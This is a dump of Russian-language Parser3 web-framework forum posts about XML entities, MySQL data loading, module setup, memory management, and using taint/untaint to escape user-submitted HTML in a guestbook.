"22917","Из XML файла получаю сверстанный текст (со всем &nbsp;, &#151;, &laquo; и &raquo; и т. д.). Все сущности определены в enities.dtd. Используя динамически создаваемый XSL:\
[code]\
$styleSheet[^xdoc::create{<?xml version=\"1.0\"?>  \
<xsl:stylesheet xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\" version=\"1.0\">\
   <xsl:template match=\"//paragraphs/p\">\
      <p><xsl:apply-templates /></p>\
   </xsl:template>\
</xsl:stylesheet> \
}]\
[/code]\
...полчую совсем не то, что ожидаю: неразрывные пробелы отсутствуют (точнее не работают), \"ёлочки\" в source выглядят также как на экране (не &laquo; или &#171;)...\
\
Что можно сделать?"
"22918","А насчет задачи - обозначить переменную в корневом auto.p, чтоб к ней цеплять весь сайт по относительным путям. Можно, канечна, использовать и по назначению - для указания классов и библиотек методов, но мне удобнее строить относительно нее ВСЕ пути, а не только к .p."
"22919","Первый тест sw.Card [0.1 draft] в Сети - ставил не я, а знакомый.\
Говорит, встало и без проблем.\
\
http://soft-info.net/watcher/"
"22920","Прикольно получается с счетчиком посетителей!"
"22922","Разработчики, подскажите:\
Необходимо ежедневно вносить в БД MySQL сведения из файла, загружаемого ч/з web-форму (web прайс-лист)\
Размер файла составляет ~300КБ (формат tab-delimited, ~5900 строк)\
Файл появляется по неведомым дорожкам из 1С\
Подскажите, как лучше внести его в БД:\
\
\
^connect[строка подключения]{ \
   ^void:sql{LOAD DATA INFILE \"data.txt\" INTO TABLE db2.my_table  ...)} \
}\
\
или \
\
$таблица[^table::load[имя файла]]  \
^connect[строка подключения]{ \
   ^void:sql{INSERT DELAYED ... ^таблица.menu{код}  ...)} \
}"
"22923","Лучше использовать \"LOAD DATA\", ибо эта команда специально для этого предназначена [особенно если у вас хватает для этого прав на сервере].\
\
Во втором случае Вы пытаетесь частично сымитировать работу команды LOAD средствами Парсера. Спрашивается зачем..."
"22925","не нужно ли заморачиваться на перевод часов.\
т.е. не грохнется ли ваша система при их переводе весной или осенью.\
\
и «вроде работает» недостаточно — вы должны быть уверены.\
если, конечно, вы уважаете посетителей."
"22926","и не забудьте про, возможно, необходимое enclosed by '\"', если в колонке может содержаться табуляция (*) или перевод строки.\
\
насчёт работы Parser с подобными файлами (*), то она на днях реализована, в CVS|HEAD [пойдёт в 3.1.2 версию]."
"22927","это нормально. этот символ есть в кодировке windows-1251, как есть там и неразрывный пробел: проверка проверка [стоит между словами проверка, прекрасно работает, попробуйте подвигать размер окна].\
\
если вы по какой-то непонятной причине хотите гонять по сети вместо одного байта = нормальной буквы, официально присутствующей в кодировке, какие-то многобайтные конструкции, то пожалуйста:\
\
1. или просто сотрите те буквы, которые вы считаете неправильными, из вашего windows-1251.cfg — на выходе на их месте получите &#HHH; \
2. или просто замените [ключевые слова: postprocess, replace] нужные буквы на то представление, которое вам кажется правильнее.\
\
напоследок: не стоит ожидать от parser, что он сделает laquo, эта entity при загрузке xml в память заменилась на её значение, на букву, и, чтобы её вернуть обратно, надо что-то сделать самому."
"22930","...спасибо что напомнили о переводе времени, учту :)"
"22931","при переезде на 3.1.1 отвалилась parser3odbc.dll:\
[code]\
can not open the module, can't open the module\
/tcpip/parser/lib/parser3odbc.dll\
[/code]\
\
хотя я просто переписал поверх старых dll (парсерная к апачу и parser3odbc.dll) новые. \
Почему размер dll стал меньше в пять раз? связаны ли эти 2 факта?"
"22932","Проблема: из поля text базы вывожу сообщения гостевой книги. Непечатный символ перевода строки заменяю на <br>.\
В примере Миши http://www.parser.ru/forum/?id=4604 все работает Помещаю этот код в пример гостевой книги http://www.parser.ru/docs/lang/?lesson4.htm. замена непечатных символов производится, но сам текст не форматируется, т.е. в конце абзацев просто печатаются <br>.\
Вот код:\
\
[code]\
\
@CLASS\
gbook\
\
@load[] \
^MAIN:dbconnect{ \
   $messages[^table::sql{select author, email, date, body from gbook}] \
}\
\
@show_messages[] \
^if($messages){ \
   ^messages.menu{ \
      <table width=\"100%\"> \
         <tr> \
         <td align=\"left\"><b>$messages.author \
            ^if(def $messages.email){ \
               $messages.email \
            }{ \
               электронного адреса нет\
            }</b> \
         </td> \
         <td align=\"right\">$messages.date</td> \
         </tr> \
      </table> \
      <table width=\"100%\"> \
	  \
	  $repl[^table::create{from	to\
^taint[^#0A]	<br>}]\
      <tr>\
         <td>^messages.body.replace[$repl]</td>\
      </tr> \
      </table> \
   }[<table width=\"100%\" border=\"0\" bgcolor=\"000000\" cellspacing=\"0\">  \
        <tr><td>&nbsp^;</td></tr> \
   </table>] \
}{ \
   Гостевая книга пуста\
} \
[/code]\
\
И вот что получаю:\
[code]\
абзац 1<br>абзац 2<br>абзац 3<br>абзац 4.\
[/code]\
Подскажите где ошибка?"
"22934","1. я попытался выкинуть свои старые patch'и в надежде на то, что в mfc 7.1 старые ошибки починили. просьба проверить, так ли это, просто посмотрев, все ли типы данных в вашем проекте успешно работают. сами мы odbc не используем, проверить недосуг.\
\
2. не стал класть в архив мегабайтную mfc71.dll, собрал в статике, обновил архив."
"22935","1. работает все (вроде бы), кроме ^connect[к ms access через odbc]. Других баз нет у меня.\
2. вот что у меня есть:\
[code]\
C:\\tcpip\\parser\\lib>dir\
21.09.2001  18:46           139 264 libmySQL.dll\
07.04.2003  09:00         1 060 864 MFC71.dll\
21.02.2003  15:42           348 160 msvcr71.dll\
24.07.2003  16:19            28 672 parser3mysql.dll\
31.10.2003  17:06            10 240 parser3odbc.dll\
[/code]\
Всё равно не работает ('/tcpip/parser/lib/parser3odbc.dll' can not open the module, can't open the module [<no type>])"
"22936","[code]\
^untaint[^messages.body.replace[$repl]]\
[/code]\
кстати\
[code]\
^taint[^#0A]\
[/code]\
можно заменить на\
[code]\
^taint[\
]\
[/code]\
 - у меня работает"
"22937","или можешь воспользоваться\
[code]^taint[as-is][^messages.body.replace[$repl]][/code]"
"22938","1. что плохого с msaccess?\
2. если вы только что выкачали с сайта, то ему никакие .dll не нужны."
"22941","полей типа \
* целое число\
* число с плавающей точкой\
* дата\
* text [большой текст, не varchar]\
\
раньше в mfc там были ошибки, и мне приходилось patch'ить, сейчас убрал patch'и неглядя."
"22942","Но тогда будет обрабатываться весь html код из message.body А для форума, по-моему, это не желательно"
"22944","Я точно помню, где-то раньше читал, что ^untaint[] и ^taint[as-is][] это одно и тоже.\
\
ps: Возможно это было сообщение в форуме."
"22945","^untaint{^messages.body.replace[$repl]}.\
\
А ^taint[as-is] = ^taint[] - т.е. данные без преобразований. Какие были, такие и остались."
"22947","[code]\
# Оределяется язык в зависимости от наличия куки. Если такого языка нет в конфиге (кука ошибочна), то по дефолту\
@check[]\
$langs[^api::get_cfg_vars[${config:dir.config}lang.cfg]]\
^switch[$cookie:lang]{\
	^langs.menu{\
# Как обработать эту строку?\
		^case[$langs.value]{$result[$cookie:lang]}\
	}\
# Это в итоге должно получиться\
#	^case[en]{$result[$cookie:lang]}\
#	^case[ru]{$result[$cookie:lang]}\
	^case[DEFAULT]{$result[$config:site.lang]}\
}\
[/code]"
"22948","^taint[as-is][] - это все равно, что просто ^taint[][]. As-is (англ. \"как есть\") - метод преобразования по умолчанию. А ^untaint все-таки с {} пишется. Наверно привыкли уже писать ^untaint[]."
"22949","taint без указания языка никогда не был равносилен taint[as-is]"
"22951","Да мне непонятна технология!\
Если я в $messages.body просто запишу текст\
[code]\
$messages.body[123\
345]\
[/code]\
то все же работает так как надо, т.е. обходимся без untaint. Стоит же вытягивать $messages.body из базы, то хтмл не обрабатывается. вот я и думаю, что где-то намудрил."
"22952","ПОДТВЕРЖДАЮ taint != untaint\
всем сомнивающимся см. доку"
"22954","может, у Вас есть список тестов/патчей? Я счас с часик покрутил -- вроде всё работает.."
"22956","не может быть чтоб решения не было...\
\
а Вы сами неужели эту дырень всяким шалопаям оставили?"
"22958","Почему при сохранении файла к его расширению добавляется какая-то фигня.\
Наприме если я делаю аплоад файла 1.gif, то он сохраняется на диске как 1.gif_7D\
Вот код:\
^if((def $form:NewsSubmit) && ($form:txtNews ne \"\")){\
		$FileName[$form:uplNewsFile.name]\
		^if(def $form:uplNewsFile){\
			^form:uplNewsFile.save[binary;${FILE_DIR}/newspaper/data/$FileName}]\
		}\
 		$InsNews[^table::sql{exec sp_cx_AddNewsPaper '$cookie:SID', '$form:txtNews', '$FileName'}]\
	}"
"22960","- ВЫ добавили где-то какой-то taint/untaint не понимая что он делает и не показывая его в [url=\"/forum/?id=22932\"]вашем коде[/url]\
\
- ВЫ не желаете читать [url=\"/docs/lang/tainting.htm\"]документацию[/url] и [url=\"/examples/tainting/\"]примеры[/url] чтобы понять как это работает.\
\
уберите ВСЕ taint/untaint из ВСЕГО вашего кода.\
посмотрите что получается.\
попробуйте почитать доку и понять какие-же taint/untaint нужны ВАМ и где они нужны и нужны-ли они вообще."
"22961","Сам разобрался.\
Просто надо переменную имени файла взять в фигурные скобки, т.е. ${FileName}"
"22962","1. Ищем символ с шестнадцатеричным номером \"7d\" в таблице символов. 2. Видим, что этот код соответствует символу \"}\"\
3. Делаем вывод, что к имени файла приплюсовывается \"лишняя\" скобка из кода\
4. Пристально смотрим на код [code]$FileName}[/code]\
5. В следующий раз не задаём глупых вопросов, не разобравшись заранее самостоятельно."
"22963",">taint без указания языка никогда не был равносилен taint[as-is]\
\
1. Указания какого ЯЗЫКА? (русского, японского или PHP?) Мне казалось, что это МЕТОД, НАПРАВЛЕНИЕ, ВИД преобразования:\
[quote]\
Оператор taint помечает весь переданный ему текст, как нуждающийся в преобразовании заданного вида.\
[/quote]\
2. Цитирую доку:\
[quote]\
Таблицы преобразований \
(под 'c' понимается один символ): \
\
as-is              изменений в тексте не делается\
\
[/quote]\
\
Или у меня дока кривая?\
\
Может, я чего-то не понимаю, но докой пользуюсь постоянно.\
Чем тыкать людей, знающих на данном этапе меньше Вас, в их весьма сомнительные ошибки, что, мягко говоря, отталкивающе говорит о Вас не только как о человеке, но и о Вашем скилле.\
\
В частности, мне непонятно, как исправить строку в топике 22947."
"22964","[quote]Если вид преобразования не указан, оператор untaint делает преобразование вида as-is, а оператор taint помечает текст как tainted (неопределенно «грязный», без указания вида преобразования).\
\
...\
\
Если не задан вид преобразования, данные останутся \"грязными\", но никаких замен сделано не будет. [/quote]"
"22965","[code]$repl[^table::create{from	to\
^taint[^#0A]	<br>}][/code]\
\
Из этого кода можно сделать - чёрный список слов, символов, ...\
Это даёт возможность закрывать все дыры по мере возрастания изобретательности посетителей ;)\
\
К стати, я храню этот список в БД.\
\
зы: С учётом тенденции у Парсера к росту скорости работы со строками, увеличение таблицы практически не будет влиять на скорость обработки данных ;)"
"22966","...но какие преобразования происходят при ^taint[as-is][]?\
Никаких же?"
"22967","все еще раз просмотрел. в коде никаких untaint, а taint только здесь\
\
[code]\
$repl[^table::create{from	to\
^taint[^#0A]	<br>}]\
[/code]\
\
все как написал. буду вечером еще заниматься.\
значит на ваш взгляд все должно работать и так?"
"22968","... он только помечает, что у данного текста \"такой-то язык\"."
"22969","а примерчик с этим черным списком не запостите?"
"22970","Была замечена такая штука:\
Если в наблице замен строка [code]^taint[^#0A]	<br>[/code] шла в конце, то все таблица замен воспринималсь нормально, а если послее данной строки были еще какие-либо строки, то они не воспринимались при использовании ^.string.replace[]. Данный баг (если это баг :) был замечен в версии 3.1.0, в 3.0.8 все работало нормально. Вот такая вот оказия :)"
"22971","тогда, например, доставая откудава-нибудь текст (БД, файлы...) засовываем его в ^taint[], а потом преобразуем (очищаем) ^untaint'ом?\
\
Тогда, на сколько помню, ни разу не приходилось использовать его - как-то обходился. Misha верно заметил, что любим мы создавать себе проблемы."
"22973","[code]\
# Оределяется язык в зависимости от наличия куки.\
# Если такого языка нет в конфиге (кука ошибочна), то по дефолту\
@check[]\
$langs[^api::get_cfg_vars[${config:dir.config}lang.cfg]]\
^switch[$cookie:lang]{\
	^langs.menu{\
# Как обработать эту строку?\
		^case[$langs.value]{$result[$cookie:lang]}\
	}\
# Это в итоге должно получиться\
#	^case[en]{$result[$cookie:lang]}\
#	^case[ru]{$result[$cookie:lang]}\
	^case[DEFAULT]{$result[$config:site.lang]}\
}\
[/code]"
"22974","я не могу разжевать понятнее, чем написал там.\
untaint тоже НЕ делает преобразования. он тоже только МЕНЯЕТ ЯЗЫК.\
\
если вы не можете понять что я там написал - попробуйте найти переводчика кто понимает написаное, может я действительно объясняю совсем погано, тогда мои повторные объяснения пользы не принесут."
"22975","[quot]Указания какого ЯЗЫКА? (русского, японского или PHP?) Мне казалось, что это МЕТОД, НАПРАВЛЕНИЕ, ВИД преобразования[/quot]\
\
мне казалось, что мы говорим об операторах taint/untaint, а эти операторы согласно документации имеют параметр: вид преобразования\
\
однако этот термин мне кажется не очень удачным, поэтому я оперирую другим термином \"язык\" (и даже забыл, что в доке фигурирует имеено термин \"вид преобразования\"), и вы это заметили-бы, если бы изучали пример, в котором детально объясняется механизмы taint-инга."
"22977","3.0.8, 3.1.0, 3.1.1 всё в полном порядке.\
пришлите bug.html почтой, если всё ещё уверены."
"22978","Давайте договоримся\
Вы прочитаете:\
1) http://www.parser.ru/docs/lang/tablecreate.htm (*)\
2) http://www.parser.ru/docs/lang/stringreplace.htm\
3) http://www.parser.ru/docs/lang/opuntainttaint.htm\
\
(*) Так же рекомендую для полноты понимания вопроса\
а) http://www.parser.ru/docs/lang/tableload.htm\
б) http://www.parser.ru/docs/lang/tablesql.htm\
в) http://www.parser.ru/docs/lang/tablesave.htm\
\
ps: Предлагаю хорошенько изучить указанные разделы документации.\
pps: Без чтения доки к Парсеру вам здесь врядли будут помогать."
"22979","Там написано достаточно чтобы - создать, наполнить, подключить и использовать таблицу в различных исполнениях.\
\
Разумеется доку к SQL серверам читать тоже надо, до дома доберусь скину ссылку MySQL доку, если надо. \
\
На счёт примера, напишите - вывесите в форуме и объявите желание попасть в примеры, а вдрг вывесят :)\
\
ps: Будет вам слава почёт и уважение."
"22980","За ссылки на нужные разделы доки конечно благодарствую, но честно сказать не понял почему мой вопрос про примерчик с таблицей исключений (список черных слов и символов), вызвал желание отправить меня к доке с целью изучения метода создания таблиц.\
Мне всего лишь хотелось знать что за символы и слова вы считаете черными и как их исключаете, хотя с последним и так понятно как это сделать. На самом деле больше интересовало их (черных слов и символов) количество, поскольку на мой взгляд (может быть ошибочный) можно только и заниматься, что обновлением такого списка.\
Интуиция посказывает, что метод постинга небезопасных сообщений (пришедших из ненадежных источников) через untaint с последующим исключением опасных символов не оптимален. Наверняка есть и др. вариант. Вот я об этом варианте и спрашиваю."
"22981","Конечно, понимаю, что вещь не такая уж и сложная, но потратил на это весь день, а вечером решил еще раз разбраться с тиантами и антиантами.  В итоге пришел к выводу, что в коде есть ошибка, но найти её не могу. Еще раз скажу, какова задача.\
\
Итак, есть сообщения форума, записанные в б.д. и соответственно эти же сообщения мне и нужно постить, учитывая при этом непечатные символы (энтеры и табуляцию) никакого другого оформления не нужно. При этом необходимо запретить обработку любого кода, который может быть внесен в поле формы.\
\
Для примера взял код Гостевой книги из уроков по Прасеру и вот что получилось.\
[code]\
## в файле gbook.p создаю класс\
@CLASS\
gbook\
\
@load[]\
## создание тестовой таблицы сообщений из форума\
\
$messages[^table::create{author	email	date	body\
Пушкин	pushkin@mail.ru	2003-11-01	О сколько нам открытий чудных, готовит <b>просвещенья</b> дух\
Некрасов	nekrasov@hotmailcom	2003-10-11	Великий русский поэт\
Гагарин	gagarin@rambler.ru	2002-03-04	Первый космонавт\
}]\
\
@show_messages[] \
^if($messages){ \
   ^messages.menu{ \
      <table width=\"100%\"> \
         <tr> \
         <td align=\"left\"><b>$messages.author \
            ^if(def $messages.email){ \
               $messages.email \
            }{ \
               Нет электронного адреса \
            }</b> \
         </td> \
         <td align=\"right\">$messages.date</td> \
         </tr> \
      </table> \
      <table width=\"100%\"> \
\
## вношу в сообщение форума «энтер» \
	  $repl[^table::create{from	to\
открытий	<br>}]\
\
## печатаем преобразованный текст\
      <tr>\
         <td>^messages.body.replace[$repl]</td>\
      </tr> \
      </table> \
   }[<table width=\"100%\" border=\"0\" bgcolor=\"000000\" cellspacing=\"0\">  \
        <tr><td>&nbsp^;</td></tr>\
   </table>] \
}{ \
   Гостевая книга пуста. \
} \
\
@show_form[] \
<hr> \
<br> \
\
$date[^date::now[]] \
<center> \
<form method=\"POST\"> \
<p> \
Author<sup>*</sup><input name=\"author\"><br> \
E-mail&nbsp;&nbsp;<input name=\"email\"> \
<br>text<br><textarea cols=\"50\" name=\"text\" rows=\"5\"></textarea> \
</p> \
<p> \
<input type=\"submit\" value=\"Send\" name=\"post\">&nbsp;&nbsp;&nbsp; \
<input type=\"reset\" value=\"Cancel\"> \
</p> \
</form> \
</center> \
\
@test_and_post_message[] \
^if(def $form:post){ \
   ^if(def $form:author){ \
      ^MAIN:dbconnect{ \
         ^void:sql{insert into gbook \
            (author, email, date, body) \
         values ( \
            '$form:author', \
            '$form:email', \
            '${date.year}-${date.month}-${date.day}', \
            '$form:text' \
         )} \
      } \
      $response:location[$request:uri] \
   }{ \
      <center>Поле автор обязательно для заполнения</center> \
   } \
}\
[/code]\
\
А вызываю класс из index.html таким образом\
[code]\
@USE\
gbook.p\
#########\
$gb[^gbook::load[]] \
^gb.show_messages[] \
^gb.show_form[] \
^gb.test_and_post_message[]\
[/code]\
\
Получаем вот такой результат:\
[code]\
Пушкин	pushkin@mail.ru		2003-11-01\
О сколько нам \
чудных, готовит просвещенья (выделенно жирным) дух\
\
Некрасов	nekrasov@hotmail.com	2003-10-11\
Великий русский поэт\
\
Гагарин	gagarin@rambler.ru	2002-03-04\
Первый космонавт\
[/code]\
\
Т.е. поскольку и перевод строки в первом сообщении получился и слово «просвещенье» жирным шрифтом, то это не то, что мне нужно. Нужно, чтобы остался перевод строки, а слово «просвещенье» вывелось без форматирования.\
\
Ситуация говорит о том, что где-то данные untiant’ятся, но где понять не могу.\
Ошибка наверняка есть, но я найти не могу. Пожалуйста помогите!\
\
А то что сделать то о чем я говорю можно, говорит хотя бы этот форум. Энтеры и табуляции совершенно правильно обрабатываются и в тоже время хтмл код игнорируется."
"22982","Если прочитать внимательно, то чёрный список символов можно взять от туда."
"22983","как я смог заметить в первом вашем [url=\"/forum/?id=22932\"]сообщении[/url] вы показываете, что достаете $messages из БД. Эти данные - \"грязные\". В сообщении, на которое я щас отвечаю вы сами руками создаете в коде эти сообщения. Они - \"чистые\".\
\
Далее идите вы и читайте [url=\"/examples/tainting/\"]примеры[/url]"
"22984","Может я чего не догоняю, но я понял что Вы имеете в виду то, что мы запишем в таблицу для replace? Ну это ясно, я и говорю, что в эту таблицу придется добавлять достаточно много \"черных\" символовов. Разве нет?"
"22985","Если Вы мне не верите, попробуйте этот код у себя. И если Вы скажите, что все работает как надо, никому больше не стану морочить голову своими вопросами."
"22986","если вы пишете сначала один код, потом другой, то непонятно, что же конкретно не работает.\
\
давайте так:\
вы уменьшаете код до минимального неработающего куска (никто не будет вчитываться в длинный код), приводите его, и вам помогут."
"22987","Увидел полезную ссылку с описанием метода - пользуйтесь: http://simon.incutio.com/archive/2003/11/07/multipleIEs"
"22988","этого [url=\"/forum/?id=22960\"]сообщения[/url] и вашему изначальному коду, где данные берутся из БД - то все будет работать. я прекрасно знаю почему не работает код в [url=\"/forum/?id=22981\"]последнем вашем сообщении[/url] и что надо сделать чтобы он работал.\
\
если вы после каждого совета вам будете менять ваш код и не говорить никому об этом, при этом будете игнорировать чтение двух маленьких страниц доки и одного примера с разжевыванием того, как работают taint/untaint - то вам никто не поможет.\
\
P.S. все, я пас. моя вера в то, что помочь вам возможно — на исходе."
"22989","Написал много, думал так понятней. Ок сделаю по минимуму, как я это понимаю.\
\
[code]\
## запоминаем текст с энтером и хтмл тегом\
$text[12<i>15</i>3\
345]\
$repl[^table::create{from	to\
^taint[^#0A]	<br>}]\
^text.replace[$repl]<br>\
[/code]\
\
Нужен вот такой результат:\
12153 - первый абзац (все обычным шрифтом, ни одной цифры курсивом)\
345 - второй абзац"
"22990","получилось, конечно, это:\
[code]\
12<i>15</i>3<br>345<br>\
[/code]\
\
а почему, собственно, курсивом не должно было получиться?!\
вы ничего не стирали."
"22991","а у меня этот же код выводится вообще без тегов как будто его untaint\
\
вот так:\
12[i]15[/i]3\
345"
"22992","ваш view source совпадает с моим.\
\
непонятно другое: вы пишете\
[quote]\
Нужен вот такой результат:\
12153 - первый абзац (все обычным шрифтом, ни одной цифры курсивом)\
345 - второй абзац\
[/quote]\
почему вдруг всё обычным шрифтом?\
вы не стираете <i></i>, они, конечно, никуда и не уходят."
"22993","В этом то и проблема. Я никак не могу придумать как сделать, чтобы эти теги (кроме <br>) не обрабатывались (не проблема даже если они будут выводиться в браузер, главное чтобы не обрабатывались). Самое главное чтобы перевод строки оставался.\
\
Я так понимаю, вы предлагаете удалять не нужные символы, но я же заранее не знаю, что мне там юзера в форму напихаю. что, в таблице замен писать все вариантs..?\
\
Была одна идея, но скорее всего что это бред :)\
Я думал над тем, чтобы данные, которые поступают из формы сделать \"чистыми\", т.е. присвоить новому объекту taint'ные данные, т.е. все теги будут заменены на символы и потом уже в этом новом объекте заменять энтер на <br> и выводить все untiant, тогда бы все теги кроме <br> вывелись как символы, а абзацы так как мне нужно. Но так не получилось потому что в новом объекте эти данные все равно не \"чистые\" и в итоге получается хрень."
"22994","почему, собственно, вы ополчились на <i>.\
мало ли что пользователь там имел в виду.\
возможно, он писал формулу.\
   a < b \
или рисовал буквами что-то\
   вася << петя\
\
это буквы, и parser, по-умолчанию, делает всё, чтобы эти буквы показались в браузере ровно так, как их ввёл пользователь.\
[ещё, возможно, tainted пробел стоило бы считать чем-то хитрым, но уже поздно менять :)]\
\
как теперь ясно, вы, вот этим примером:\
http://www.parser.ru/forum/?id=22989\
хотели показать «если бы пользователь ввёл такой код, то я бы хотел увидеть то-то».\
если бы такой код был ввёдён пользователем, то результат был бы совсем другой, чем я привёл тут:\
http://www.parser.ru/forum/?id=22990\
в браузере было бы [b]видно[/b] это:\
[code]\
12<i>15</i>3\
345\
[/code]\
view|source был бы таким:\
[code]\
12&lt;i&gt;15&lt;/i&gt;3<br>345<br>\
[/code]\
\
т.е. ровно то, что вы хотели. правильно?"
"22995","если вы хотите что-то стереть, стирайте.\
[code]\
^string.match[…с песней\
[/code]\
\
taint/untaint тут совершенно не при чём."
"22996","Да именно это я и хотел сказать :)\
\
А против <i> конкретно я ничего против не имею, мне нужно чтобы эти теги заменялись по таблицам замены как это делает taint. и при этом мне как-то нужно выводить непечатные символы.другого способа как их замена на <br> я не знаю. вот и получается, что одно другому мешает"
"22998","Имеет ли смысл в конце HTML обнулять все переменные и вызывать субж? Либо после отработки файла Парсер сам про него забудет? Либо - третий вариант - не обнулять, но вызвать? Чтобы, позабыв, еще и память очистил?"
"22999","Ну во-первых ^memory:compact а не ^memory.compact это к тому что поиск по форуму тупой, во вторых тут рецепт такой (описан в доке):\
\
Важно: необходимо как можно более интенсивно использовать локальные переменные\
\
в третьих:\
\
> Либо после отработки файла Парсер сам про него забудет?\
\
Parser не собирает мусор автоматически, полагаясь в данном вопросе на кодера: поставьте вызов compact в той точке (точках), где ожидаете наибольшей выгоды, например, перед XSL преобразованием.\
\
$status:memory поможет вам в отладке и поиске мест, наиболее выгодных для сборки мусора.\
\
Ну а вообще тут нужно использовать метод последовательного приближения - сделал, померил, сделал, померил и т.д. главное делать одно изменение за раз."
"23000","пробую тоже самое проделать, но еслиб данные вносил не кодер, а пользователь и результат получается не тот что нужно.\
Вот код с которым работаю:\
[code]\
@CLASS\
gbook\
\
@load[] \
^MAIN:dbconnect{ \
   $messages[^table::sql{select author, email, date, body from gbook}] \
} \
\
@show_messages[] \
^if($messages){ \
   ^messages.menu{ \
      <table width=\"100%\"> \
	  $repl[^table::create{from	to\
^taint[^#0A]	<br>}]\
      <tr>\
         <td>^messages.body.replace[$repl]</td>\
      </tr> \
      </table> \
   }\
}{ \
   Гостевая книга пуста. \
}\
[/code]\
\
Получаю вот такой view|source:\
абзац1&lt;br&gt;абзац2&lt;br&gt;абзац3&lt;br&gt;абзац4&lt;br&gt;\
\
вот и получается, с чего начал, к тому и пришел: все теги игнорируются (так и нужно), но вместе с ними и абзацы (чего бы хотелось избежать)."
"23002","вот код, который проще проверить. работает.\
\
[code]\
$text[12<i>15</i>3\
345]\
\
## делам вид, что этот текст получили от пользователя\
$text[^taint[$text]]\
\
$repl[^table::create{from to\
^taint[^#0A] <br>}]\
^text.replace[$repl]<br>\
[/code]\
\
во view|source видим:\
[code]\
12&lt;i&gt;15&lt;/i&gt;3<br>345<br>\
[/code]"
"23003","уверен, вы уже поняли, что берёте ^string.match и стираете всё, что хотите.\
\
ни taint ни untaint ни replace не при чём."
"23004","Чем не угодил мой ответ на сообщение http://www.parser.ru/forum/?id=23000\
\
Ладно вчера, может и чушь порол, - сей ответ тоже чушь?"
"23005","Может просто у меня что-то ни так.\
Проблема собственно вот в чем.\
Имеется WinXP и Apache 1.3.27 ( win и apache стоят на d:, а модуль Парсера под apache лежит на c: )\
3.0.7 и 3.0.8 ставится почти нормально, за исключением того, что правлю ручками конфиг примерно так $confdir[c:\\parser\\308] .\
Пытаюсь тоже самое проделать с 3.1.1 (и с 3.1 )  - пишет \
'cannot add module via name 'mod_parser3.C' not in list ...' \
\
вот куски http.conf\
\
LoadModule parser3_module C:\\parser\\311\\ApacheModuleParser3.dll\
AddModule mod_parser3.C \
AddHandler parser3-handler html\
ParserConfig c:\\parser\\311\\auto.p \
\
У кого какие мысли ?"
"23007","[code]\
AddModule mod_parser3.с\
[/code]\
У меня модуль 3.1.1 нормально работает. А вообще я бы не рекомендовал его использовать, т.к. в Студии его реально не тестируют, поэтому весь гемморой связанный с багами в модуле просто ляжет на вас."
"23008","спасибо, не додумался там посмотреть, а то что шло с модулем выглядит так\
\
\
А после имеющихся строк AddModule (если не имеются, не добавляйте):\
# добавление модуля к списку активных модулей \
AddModule mod_parser3.C"
"23009","т.е. есть вероятность , что в cgi баг будет исправлен , а в модуле под апвче нет ?"
"23010","Из доки я этого не понял. Там написано, как вы процитировали, использовать ПЕРЕД преобразованием. У меня же в начале файла есть то самое преобразование, потом открывание пары таблиц, бла-бла-бла, вот я и думаю -- висит ли в памяти все это ПОСЛЕ того, как файл обработан и результат отдан пользователю? Или надо нулить в самом файле в конце?\
\
Дока рецепта не дает."
"23011","что при таком подходе в его гостевую книгу можно будет запостить такое «сообщение»:\
[code]\
<font size=+100>все козлы</font>\
[/code]\
что неправильно в корне.\
\
советовать такое, а тем более запутавшемуся человеку — нельзя."
"23012","Я кстати немного не въехал на самом деле - я думал что ему в текстах, получаемых из БД, нужно сохранять работу тегов, а оказывается нет, - ему нужно сохранять работу <br> и тогда мой пост и вправду чушь. Хотя надо сказать, что действуете вы жестко, и в принципе это правильно, но тут важна последовательность, которой часто не видно."
"23013","есть вероятность, и немаленькая, что модуль просто неоптимизирован, поскольку клиенты студии его не пользуют, им никто серъёзно (кроме нас) не занимается.\
\
Также в принципе не стоит использовать ODBC интерфейс для соединения с базами данных, а также PostgreSQL. Причины те же. Я пользую последний потому что мне просто интересно и я верю что на данном этам в этих драйверах нет ошибок, которые могут меня затронуть. В крупных же проектах этого делать не стоит, - себе дороже."
"23014","...точка входа процедуры xmlGcMemSetup не найдена в библиотеке DLL libxml2.dll.\
\
Что бы это значило? Реакция происходит на ^memory:compact[]."
"23015","[i]^memory:compact[] cобирает так называемый «мусор» в памяти, освобождая ее для повторного использования [b]вашим кодом[/b].[/i]\
\
если вы хотите очищать память \"после себя\" - не парьтесь, никому это не нужно."
"23016","Александр,\
Клянусь, что во view|source у меня 12&lt;i&gt;15&lt;/i&gt;3&lt;br&gt;345<br>\
т.е. выглядит это так 12<i>15</i>3<br>345\
\
Для верности взял ваш код и вставил в @main[]\
\
Ну да ладно, вы в сообщении http://www.parser.ru/forum/?id=23011 уже мне все подсказали :)\
Действительно проще будет менять < на &lt; а ^#0A  на <br>\
\
Три тысячи раз прошу прощения за свою непонятливость :)"
"23018","Столкнулся со следующей проблемой:\
При попытке заменить элемент (вообще надо только заменить текст внутри тегов) в документе старый удаляется, а новый почему-то не появляется... манипуляции с replaceChild или removeChild/appendChild никаких вразумительных результатов не дали.\
\
Помогите плиз, кто подобную задачу уже решал"
"23020","спишите мой код в /test.html без всяких там @main[], уберите временно [b]все[/b] auto.p, и проверьте.\
\
если всё ещё не работает, уточните версию parser. [как уже писал: я проверял на трёх последних, там работает]"
"23021","Как выясняется, проблема, описанная в http://www.parser.ru/forum/?id=22452, сохраняется..."
"23022","С приведением кода проблема - хранится на другой машине...\
А задача такая:\
есть документ следующего вида\
[code]\
<document>\
 <simple_tag>content...</simple_tag>\
</document>\
[/code]\
в котором надо в элементе <simple_tag> заменить [quote]content...[/quote] на [quote]new data[/quote]\
\
как мне это реализовать? помогите готовым кодом - у меня ничего не вышло (ну просто недавно я с XML работаю)"
"23023","Откуда берется это XML?\
\
Если все-таки не проще - смотрите в направлении [url=\"http://www.parser.ru/docs/lang/xdocdommethods.htm\"]createTextNode[/url]."
"23024","сделал как вы посоветовали (test.html на новом сайте)\
результат прежний.\
\
Запустил parser.exe -h\
Версия 3.0.0007 (правда с Денверского дистрибутива). Дома есть оригинальная 7ая версия попробую еще на ней"
"23025","3.0.8 была bugfix к 3.0.7, кардинального менялась только передача post данных в ^file::cgi/exec, так что, скорее всего, вы можете просто перейти на неё."
"23026","Спасибо, попробую."
"23027","согласно стандарту. пока нельзя."
"23028","вы попросили ^file::load загрузить что-то. он загрузил, по дороге перекодировав удалённый документ из той кодировки, что указана в заголовке HTTP ответа удалённого сервера в кодировку вашего сервера $request:charset, которая у вас, вероятно, windows-1251.\
\
[вы на экране ведь видите хорошее сообщение об ошибке? вовсе не в utf-8? тут бы насторожиться :)]\
\
